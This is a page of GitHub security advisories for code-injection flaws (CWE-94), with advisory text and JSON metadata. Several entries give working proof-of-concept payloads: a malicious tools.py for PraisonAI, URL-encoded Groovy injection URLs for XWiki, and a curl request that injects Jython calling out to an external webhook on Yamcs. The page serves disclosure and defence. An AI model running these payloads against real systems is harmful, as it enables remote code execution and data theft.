CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8342 vulnerabilities reference this CWE, most recent first.
GHSA-2FW3-WC2H-WV2Q
Vulnerability from github – Published: 2022-05-01 23:44 – Updated: 2022-05-01 23:44PHP remote file inclusion vulnerability in news_show.php in Newanz NewsOffice 1.0 and 1.1, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the newsoffice_directory parameter.
{
"affected": [],
"aliases": [
"CVE-2008-1903"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-04-22T04:41:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in news_show.php in Newanz NewsOffice 1.0 and 1.1, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the newsoffice_directory parameter.",
"id": "GHSA-2fw3-wc2h-wv2q",
"modified": "2022-05-01T23:44:42Z",
"published": "2022-05-01T23:44:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1903"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41770"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/5429"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/29797"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/28748"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2FW4-MGQ9-39CX
Vulnerability from github – Published: 2021-04-22 15:53 – Updated: 2021-04-21 21:15"oauth2-server (aka node-oauth2-server) through 3.1.1 implements OAuth 2.0 without PKCE. It does not prevent authorization code injection. This is similar to CVE-2020-7692. NOTE: the vendor states 'As RFC7636 is an extension, I think the claim in the Readme of "RFC 6749 compliant" is valid and not misleading and I also therefore wouldn't describe this as a "vulnerability" with the library per se.'"
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "oauth2-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-18924"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-21T21:15:38Z",
"nvd_published_at": "2020-10-04T05:15:00Z",
"severity": "HIGH"
},
"details": "\"oauth2-server (aka node-oauth2-server) through 3.1.1 implements OAuth 2.0 without PKCE. It does not prevent authorization code injection. This is similar to CVE-2020-7692. NOTE: the vendor states \u0027As RFC7636 is an extension, I think the claim in the Readme of \"RFC 6749 compliant\" is valid and not misleading and I also therefore wouldn\u0027t describe this as a \"vulnerability\" with the library per se.\u0027\"",
"id": "GHSA-2fw4-mgq9-39cx",
"modified": "2021-04-21T21:15:38Z",
"published": "2021-04-22T15:53:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-18924"
},
{
"type": "WEB",
"url": "https://github.com/oauthjs/node-oauth2-server/issues/637"
},
{
"type": "WEB",
"url": "https://github.com/oauthjs/node-oauth2-server/pull/452"
},
{
"type": "WEB",
"url": "https://codeburst.io/missing-the-point-in-securing-oauth-2-0-83968708b467"
},
{
"type": "WEB",
"url": "https://tools.ietf.org/html/draft-ietf-oauth-security-topics-15"
},
{
"type": "WEB",
"url": "https://tools.ietf.org/html/rfc7636"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Code Injection in oauth2-server"
}
GHSA-2FXR-HRFF-7M5H
Vulnerability from github – Published: 2022-05-02 03:17 – Updated: 2022-05-02 03:17PHP remote file inclusion vulnerability in moduli/libri/index.php in phpyabs 0.1.2 allows remote attackers to execute arbitrary PHP code via a URL in the Azione parameter.
{
"affected": [],
"aliases": [
"CVE-2009-0639"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-02-18T16:30:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in moduli/libri/index.php in phpyabs 0.1.2 allows remote attackers to execute arbitrary PHP code via a URL in the Azione parameter.",
"id": "GHSA-2fxr-hrff-7m5h",
"modified": "2022-05-02T03:17:04Z",
"published": "2022-05-02T03:17:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-0639"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/8005"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/33670"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/0361"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2G3W-CPC4-CHR4
Vulnerability from github – Published: 2026-04-10 19:26 – Updated: 2026-04-10 19:26PraisonAI automatically loads a file named tools.py from the current working directory to discover and register custom agent tools. This loading process uses importlib.util.spec_from_file_location and immediately executes module-level code via spec.loader.exec_module() without explicit user consent, validation, or sandboxing.
The tools.py file is loaded implicitly, even when it is not referenced in configuration files or explicitly requested by the user. As a result, merely placing a file named tools.py in the working directory is sufficient to trigger code execution.
This behavior violates the expected security boundary between user-controlled project files (e.g., YAML configurations) and executable code, as untrusted content in the working directory is treated as trusted and executed automatically.
If an attacker can place a malicious tools.py file into a directory where a user or automated system (e.g., CI/CD pipeline) runs praisonai, arbitrary code execution occurs immediately upon startup, before any agent logic begins.
Vulnerable Code Location
src/praisonai/praisonai/tool_resolver.py → ToolResolver._load_local_tools
tools_path = Path(self._tools_py_path) # defaults to "tools.py" in CWD
...
spec = importlib.util.spec_from_file_location("tools", str(tools_path))
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module) # Executes arbitrary code
Reproducing the Attack
- Create a malicious
tools.pyin the target directory:
import os
# Executes immediately on import
print("[PWNED] Running arbitrary attacker code")
os.system("echo RCE confirmed > pwned.txt")
def dummy_tool():
return "ok"
-
Create any valid
agents.yaml. -
Run:
praisonai agents.yaml
-
Observe:
-
[PWNED]is printed pwned.txtis created- No warning or confirmation is shown
Real-world Impact
This issue introduces a software supply chain risk. If an attacker introduces a malicious tools.py into a repository (e.g., via pull request, shared project, or downloaded template), any user or automated system running PraisonAI from that directory will execute the attacker’s code.
Affected scenarios include:
- CI/CD pipelines processing untrusted repositories
- Shared development environments
- AI workflow automation systems
- Public project templates or examples
Successful exploitation can lead to:
- Execution of arbitrary commands
- Exfiltration of environment variables and credentials
- Persistence mechanisms on developer or CI systems
Remediation Steps
-
Require explicit opt-in for loading
tools.py -
Introduce a CLI flag (e.g.,
--load-tools) or config option -
Disable automatic loading by default
-
Add pre-execution user confirmation
-
Warn users before executing local
tools.py -
Allow users to decline execution
-
Restrict trusted paths
-
Only load tools from explicitly defined project directories
-
Avoid defaulting to the current working directory
-
Avoid executing module-level code during discovery
-
Use static analysis (e.g., AST parsing) to identify tool functions
-
Require explicit registration functions instead of import side effects
-
Optional hardening
-
Support sandboxed execution (subprocess / restricted environment)
- Provide hash verification or signing for trusted tool files
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.128"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40156"
],
"database_specific": {
"cwe_ids": [
"CWE-426",
"CWE-829",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T19:26:44Z",
"nvd_published_at": "2026-04-10T17:17:13Z",
"severity": "HIGH"
},
"details": "PraisonAI automatically loads a file named `tools.py` from the current working directory to discover and register custom agent tools. This loading process uses `importlib.util.spec_from_file_location` and immediately executes module-level code via `spec.loader.exec_module()` **without explicit user consent, validation, or sandboxing**.\n\nThe `tools.py` file is loaded **implicitly**, even when it is not referenced in configuration files or explicitly requested by the user. As a result, merely placing a file named `tools.py` in the working directory is sufficient to trigger code execution.\n\nThis behavior violates the expected security boundary between **user-controlled project files** (e.g., YAML configurations) and **executable code**, as untrusted content in the working directory is treated as trusted and executed automatically.\n\nIf an attacker can place a malicious `tools.py` file into a directory where a user or automated system (e.g., CI/CD pipeline) runs `praisonai`, arbitrary code execution occurs immediately upon startup, before any agent logic begins.\n\n---\n\n## Vulnerable Code Location\n\n`src/praisonai/praisonai/tool_resolver.py` \u2192 `ToolResolver._load_local_tools`\n\n```python\ntools_path = Path(self._tools_py_path) # defaults to \"tools.py\" in CWD\n...\nspec = importlib.util.spec_from_file_location(\"tools\", str(tools_path))\nmodule = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(module) # Executes arbitrary code\n```\n\n---\n\n## Reproducing the Attack\n\n1. Create a malicious `tools.py` in the target directory:\n\n```python\nimport os\n\n# Executes immediately on import\nprint(\"[PWNED] Running arbitrary attacker code\")\nos.system(\"echo RCE confirmed \u003e pwned.txt\")\n\ndef dummy_tool():\n return \"ok\"\n```\n\n2. Create any valid `agents.yaml`.\n\n3. Run:\n\n```bash\npraisonai agents.yaml\n```\n\n4. Observe:\n\n* `[PWNED]` is printed\n* `pwned.txt` is created\n* No warning or confirmation is shown\n\n---\n\n## Real-world Impact\n\nThis issue introduces a **software supply chain risk**. If an attacker introduces a malicious `tools.py` into a repository (e.g., via pull request, shared project, or downloaded template), any user or automated system running PraisonAI from that directory will execute the attacker\u2019s code.\n\nAffected scenarios include:\n\n* CI/CD pipelines processing untrusted repositories\n* Shared development environments\n* AI workflow automation systems\n* Public project templates or examples\n\nSuccessful exploitation can lead to:\n\n* Execution of arbitrary commands\n* Exfiltration of environment variables and credentials\n* Persistence mechanisms on developer or CI systems\n\n---\n\n## Remediation Steps\n\n1. **Require explicit opt-in for loading `tools.py`**\n\n * Introduce a CLI flag (e.g., `--load-tools`) or config option\n * Disable automatic loading by default\n\n2. **Add pre-execution user confirmation**\n\n * Warn users before executing local `tools.py`\n * Allow users to decline execution\n\n3. **Restrict trusted paths**\n\n * Only load tools from explicitly defined project directories\n * Avoid defaulting to the current working directory\n\n4. **Avoid executing module-level code during discovery**\n\n * Use static analysis (e.g., AST parsing) to identify tool functions\n * Require explicit registration functions instead of import side effects\n\n5. **Optional hardening**\n\n * Support sandboxed execution (subprocess / restricted environment)\n * Provide hash verification or signing for trusted tool files",
"id": "GHSA-2g3w-cpc4-chr4",
"modified": "2026-04-10T19:26:44Z",
"published": "2026-04-10T19:26:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2g3w-cpc4-chr4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40156"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI Vulnerable to Implicit Execution of Arbitrary Code via Automatic `tools.py` Loading"
}
GHSA-2G5C-228J-P52X
Vulnerability from github – Published: 2022-09-16 17:21 – Updated: 2022-09-16 17:21Impact
The tags document Main.Tags in XWiki didn't sanitize user inputs properly, allowing users with view rights on the document (default in a public wiki or for authenticated users on private wikis) to execute arbitrary Groovy, Python and Velocity code with programming rights. This allows bypassing all rights checks and thus both modification and disclosure of all content stored in the XWiki installation. Also, this could be used to impact the availability of the wiki. Some versions of XWiki XML-escaped the tag (e.g., version 3.1) but this isn't a serious limitation as string literals can be delimited by / in Groovy and < and > aren't necessary, e.g., to elevate privileges of the current user.
On XWiki versions before 13.10.4 and 14.2, this can be combined with the authentication bypass using the login action, meaning that no rights are required to perform the attack. The following URL demonstrates the attack: <server>/xwiki/bin/login/Main/Tags?xpage=view&do=viewTag&tag=%7B%7Basync+async%3D%22true%22+cached%3D%22false%22+context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22hello+from+groovy%21%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D, where <server> is the URL of the XWiki installations.
On current versions (e.g, 14.3), the issue can be exploited by requesting the URL <server>/xwiki/bin/view/Main/Tags?do=viewTag&tag=%7B%7Basync%20async%3D%22true%22%20cached%3D%22false%22%20context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22hello%20from%20groovy!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D, where <server> is the URL of the server. On XWiki 2.0 (that contains version 1.7 of the tag application), the URL <server>/xwiki/bin/view/Main/Tags?do=viewTag&tag={{/html}}{{groovy}}println(%2Fhello from groovy!%2F){{%2Fgroovy}} demonstrates the exploit while on XWiki 3.1 the following URL demonstrates the exploit: <server>/xwiki/bin/view/Main/Tags?do=viewTag&tag={{/html}}{{footnote}}{{groovy}}println(%2Fhello%20from%20groovy!%2F){{%2Fgroovy}}{{/footnote}}.
Patches
This has been patched in the supported versions 13.10.6 and 14.4.
Workarounds
The patch that fixes the issue can be manually applied to the document Main.Tags or the updated version of that document can be imported from version 14.4 of xwiki-platform-tag-ui using the import feature in the administration UI on XWiki 10.9 and later (earlier versions might not be compatible with the current version of the document).
References
- https://github.com/xwiki/xwiki-platform/commit/604868033ebd191cf2d1e94db336f0c4d9096427
- https://jira.xwiki.org/browse/XWIKI-19747
For more information
If you have any questions or comments about this advisory: * Open an issue in Jira XWiki.org * Email us at Security Mailing List
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-tag-ui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "13.10.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform.applications:xwiki-application-tag"
},
"ranges": [
{
"events": [
{
"introduced": "1.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-tag-ui"
},
"ranges": [
{
"events": [
{
"introduced": "14.0"
},
{
"fixed": "14.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-36100"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-94",
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2022-09-16T17:21:25Z",
"nvd_published_at": "2022-09-08T21:15:00Z",
"severity": "CRITICAL"
},
"details": "### Impact\nThe tags document `Main.Tags` in XWiki didn\u0027t sanitize user inputs properly, allowing users with view rights on the document (default in a public wiki or for authenticated users on private wikis) to execute arbitrary Groovy, Python and Velocity code with programming rights. This allows bypassing all rights checks and thus both modification and disclosure of all content stored in the XWiki installation. Also, this could be used to impact the availability of the wiki. Some versions of XWiki XML-escaped the tag (e.g., version 3.1) but this isn\u0027t a serious limitation as string literals can be delimited by `/` in Groovy and `\u003c` and `\u003e` aren\u0027t necessary, e.g., to elevate privileges of the current user.\n\nOn XWiki versions before 13.10.4 and 14.2, this can be combined with the [authentication bypass using the login action](https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-8h89-34w2-jpfm), meaning that no rights are required to perform the attack. The following URL demonstrates the attack: `\u003cserver\u003e/xwiki/bin/login/Main/Tags?xpage=view\u0026do=viewTag\u0026tag=%7B%7Basync+async%3D%22true%22+cached%3D%22false%22+context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22hello+from+groovy%21%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D`, where `\u003cserver\u003e` is the URL of the XWiki installations.\n\nOn current versions (e.g, 14.3), the issue can be exploited by requesting the URL `\u003cserver\u003e/xwiki/bin/view/Main/Tags?do=viewTag\u0026tag=%7B%7Basync%20async%3D%22true%22%20cached%3D%22false%22%20context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22hello%20from%20groovy!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D`, where `\u003cserver\u003e` is the URL of the server. On XWiki 2.0 (that contains version 1.7 of the tag application), the URL `\u003cserver\u003e/xwiki/bin/view/Main/Tags?do=viewTag\u0026tag={{/html}}{{groovy}}println(%2Fhello from groovy!%2F){{%2Fgroovy}}` demonstrates the exploit while on XWiki 3.1 the following URL demonstrates the exploit: `\u003cserver\u003e/xwiki/bin/view/Main/Tags?do=viewTag\u0026tag={{/html}}{{footnote}}{{groovy}}println(%2Fhello%20from%20groovy!%2F){{%2Fgroovy}}{{/footnote}}`.\n\n### Patches\nThis has been patched in the supported versions 13.10.6 and 14.4.\n\n### Workarounds\nThe [patch that fixes the issue](https://github.com/xwiki/xwiki-platform/commit/604868033ebd191cf2d1e94db336f0c4d9096427) can be manually applied to the document `Main.Tags` or the updated version of that document can be imported from [version 14.4 of xwiki-platform-tag-ui](https://nexus.xwiki.org/nexus/content/groups/public/org/xwiki/platform/xwiki-platform-tag-ui/14.4/xwiki-platform-tag-ui-14.4.xar) using [the import feature in the administration UI](https://extensions.xwiki.org/xwiki/bin/view/Extension/Administration%20Application#HImport) on XWiki 10.9 and later (earlier versions might not be compatible with the current version of the document).\n\n### References\n* https://github.com/xwiki/xwiki-platform/commit/604868033ebd191cf2d1e94db336f0c4d9096427\n* https://jira.xwiki.org/browse/XWIKI-19747\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n",
"id": "GHSA-2g5c-228j-p52x",
"modified": "2022-09-16T17:21:25Z",
"published": "2022-09-16T17:21:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-2g5c-228j-p52x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36100"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/604868033ebd191cf2d1e94db336f0c4d9096427"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-platform"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-19747"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "XWiki Platform Applications Tag and XWiki Platform Tag UI vulnerable to Eval Injection"
}
GHSA-2G5F-835H-7QJR
Vulnerability from github – Published: 2022-05-01 07:22 – Updated: 2022-05-01 07:22Integer overflow in PHP 5 up to 5.1.6 and 4 before 4.3.0 allows remote attackers to execute arbitrary code via an argument to the unserialize PHP function with a large value for the number of array elements, which triggers the overflow in the Zend Engine ecalloc function (Zend/zend_alloc.c).
{
"affected": [],
"aliases": [
"CVE-2006-4812"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-10-10T04:06:00Z",
"severity": "HIGH"
},
"details": "Integer overflow in PHP 5 up to 5.1.6 and 4 before 4.3.0 allows remote attackers to execute arbitrary code via an argument to the unserialize PHP function with a large value for the number of array elements, which triggers the overflow in the Zend Engine ecalloc function (Zend/zend_alloc.c).",
"id": "GHSA-2g5f-835h-7qjr",
"modified": "2022-05-01T07:22:09Z",
"published": "2022-05-01T07:22:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-4812"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/29362"
},
{
"type": "WEB",
"url": "http://cvs.php.net/viewvc.cgi/ZendEngine2/zend_alloc.c?r1=1.161\u0026r2=1.162"
},
{
"type": "WEB",
"url": "http://lists.suse.com/archive/suse-security-announce/2006-Oct/0002.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2006-0688.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2006-0708.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/22280"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/22281"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/22300"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/22331"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/22338"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/22533"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/22538"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/22650"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/1691"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1016984"
},
{
"type": "WEB",
"url": "http://support.avaya.com/elmodocs2/security/ASA-2006-223.htm"
},
{
"type": "WEB",
"url": "http://support.avaya.com/elmodocs2/security/ASA-2006-234.htm"
},
{
"type": "WEB",
"url": "http://www.gentoo.org/security/en/glsa/glsa-200610-14.xml"
},
{
"type": "WEB",
"url": "http://www.hardened-php.net/advisory_092006.133.html"
},
{
"type": "WEB",
"url": "http://www.hardened-php.net/files/CVE-2006-4812.patch"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/448014/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/448953/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/20349"
},
{
"type": "WEB",
"url": "http://www.trustix.org/errata/2006/0055"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/usn-362-1"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/3922"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2G6R-MHP9-27W3
Vulnerability from github – Published: 2022-05-17 01:05 – Updated: 2025-04-20 03:44PHP remote file inclusion vulnerability in the get_file function in upload/admin2/controller/report_logs.php in AlegroCart 1.2.8 allows remote administrators to execute arbitrary PHP code via a URL in the file_path parameter to upload/admin2.
{
"affected": [],
"aliases": [
"CVE-2015-9227"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-09-11T20:29:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in the get_file function in upload/admin2/controller/report_logs.php in AlegroCart 1.2.8 allows remote administrators to execute arbitrary PHP code via a URL in the file_path parameter to upload/admin2.",
"id": "GHSA-2g6r-mhp9-27w3",
"modified": "2025-04-20T03:44:42Z",
"published": "2022-05-17T01:05:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-9227"
},
{
"type": "WEB",
"url": "https://blog.curesec.com/article/blog/AlegroCart-128-LFIRFI-102.html"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/38728"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/134361/AlegroCart-1.2.8-Local-Remote-File-Inclusion.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2015/Nov/67"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2G74-JG6P-C4X3
Vulnerability from github – Published: 2022-05-24 17:44 – Updated: 2022-05-24 17:44Application Virtualization Remote Code Execution Vulnerability
{
"affected": [],
"aliases": [
"CVE-2021-26890"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-11T16:15:00Z",
"severity": "HIGH"
},
"details": "Application Virtualization Remote Code Execution Vulnerability",
"id": "GHSA-2g74-jg6p-c4x3",
"modified": "2022-05-24T17:44:21Z",
"published": "2022-05-24T17:44:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-26890"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26890"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2G7P-7MVP-PW7M
Vulnerability from github – Published: 2024-04-03 12:31 – Updated: 2026-04-01 18:31Improper Control of Generation of Code ('Code Injection') vulnerability in Inpersttion Slivery Extender allows Code Injection.This issue affects Slivery Extender: from n/a through 1.0.2.
{
"affected": [],
"aliases": [
"CVE-2024-27191"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-03T12:15:11Z",
"severity": "HIGH"
},
"details": "Improper Control of Generation of Code (\u0027Code Injection\u0027) vulnerability in Inpersttion Slivery Extender allows Code Injection.This issue affects Slivery Extender: from n/a through 1.0.2.",
"id": "GHSA-2g7p-7mvp-pw7m",
"modified": "2026-04-01T18:31:44Z",
"published": "2024-04-03T12:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27191"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/slivery-extender/vulnerability/wordpress-slivery-extender-plugin-1-0-2-remote-code-execution-rce-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/slivery-extender/wordpress-slivery-extender-plugin-1-0-2-remote-code-execution-rce-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2G95-6X5Q-XJWJ
Vulnerability from github – Published: 2026-05-27 22:49 – Updated: 2026-05-27 22:49Summary
A Server-Side Code Injection vulnerability exists in the Yamcs script evaluation engine for Python algorithms. The application dynamically compiles and evaluates user-controlled algorithm text using Jython (via the JSR-223 ScriptEngine API) without enforcing a secure sandbox. An authenticated user with the ChangeMissionDatabase privilege can exploit this by overriding the algorithm logic through the REST API, achieving Remote Code Execution (RCE) on the underlying host operating system.
Details
The vulnerability lies in how Yamcs handles dynamic script evaluation. When a user updates an algorithm via the MDB (Mission Database) API (/api/mdb/{instance}/realtime/algorithms/{name}), the AlgorithmManager uses the ScriptAlgorithmExecutorFactory to instantiate a JSR-223 ScriptEngine (in this case, Jython/Python).
Because Jython allows seamless interoperability with native Java classes, an attacker can import and execute arbitrary Java classes such as java.lang.Runtime. Any valid Python algorithm can be overwritten with a malicious payload that executes OS-level commands.
PoC
Prerequisites:
1. A running Yamcs instance with the Jython engine available in its classpath (e.g., jython-standalone dependency included).
2. An active authentication token for a user with the SystemPrivilege.ChangeMissionDatabase privilege.
3. An existing algorithm defined in the Mission Database (MDB) with its language explicitly set to python (e.g., a custom poc algorithm). Note: Yamcs prevents changing the underlying language engine of an algorithm via the API, so an existing Python algorithm must be targeted.
Exploitation Steps:
-
Send an authenticated HTTP PATCH request to the MDB API endpoint to inject the malicious Jython code into the existing Python algorithm. The payload leverages
java.lang.Runtimeto execute an OS command (e.g., triggering an external webhook or a reverse shell).bash curl -i -X PATCH http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/poc \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <YOUR_AUTH_TOKEN>' \ -d '{ "action": "SET", "algorithm": { "text": "import java.lang.Runtime\njava.lang.Runtime.getRuntime().exec([\"bash\", \"-c\", \"curl https://<YOUR-WEBHOOK-URL>/RCE\"])\nout0.value = 1.0" } }'(Note: Assigning a valid output like
out0.value = 1.0ensures the algorithm returns the expected data type to the Yamcs internal processor, preventing crash loops and ensuring clean execution). -
Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the
simulator.pyscript to update the required parameters likeSunsensor). -
The Yamcs server compiles the injected text into an executable script on the fly.
-
Verify that the OS command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.
Impact
It impacts any Yamcs deployment where users are granted the ChangeMissionDatabase privilege and a scripting engine (like Jython) is present in the classpath. An attacker can leverage this to escalate application-level configuration privileges to full System/OS control, leading to arbitrary command execution, data exfiltration, and potential lateral movement within the hosting infrastructure.
Credits
Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.yamcs:yamcs-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.12.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46621"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-27T22:49:25Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
